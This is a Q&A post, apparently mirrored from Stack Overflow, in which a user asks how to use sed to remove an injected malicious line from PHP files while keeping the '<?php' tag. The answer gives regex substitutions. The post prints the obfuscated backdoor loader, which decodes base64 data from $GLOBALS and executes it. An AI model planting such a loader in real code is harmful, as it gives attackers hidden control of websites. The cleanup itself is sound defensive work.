用sed删除行后用Bash插入字符串

时间:2018-04-07 10:27:39

标签: linux string bash sed

我想删除这些行,因为它是注入代码:

if (!function_exists('openNewOFormatCall')){function openNewOFormatCall($a, $b){$c=$GLOBALS[' '];$d=pack('H*','6261736536345f64'.'65636f6465'); return $d(substr($c, $a, $b));};$useGitFallYCutCodeU=openNewOFormatCall(3851,20);$useGitFallYCutCodeU("", openNewOFormatCall(3873, 3).openNewOFormatCall(565,3283).openNewOFormatCall(3879, 3));};?><?php

我当然可以使用语法删除该行:

find -iname "*.php" -exec sed -i '/openNewOFormatCall/d' {} \;

问题是,它还会删除结尾<?php的附加字符,这是php文件正常工作所必需的。所以我想删除这一行并在之后添加新的<?php

请告知。

1 个答案:

答案 0 :(得分:2)

只需使用:

sed 's/.*openNewOFormatCall.*/<?php/' file

如果背后的部分?&gt;是可变的:

sed -r 's/..*openNewOFormatCall.*\?>(.*)/\1/' file

问号需要掩盖。 (。*)捕获后面的内容?&gt;。 \ 1是对捕获内容的反向引用。

如果有效,并且在备份有价值的数据后,您将使用-i运行它,以便进行相应的修改:

find -iname "*.php" -exec sed -i -r 's/..*openNewOFormatCall.*\?>(.*)/\1/' {} \;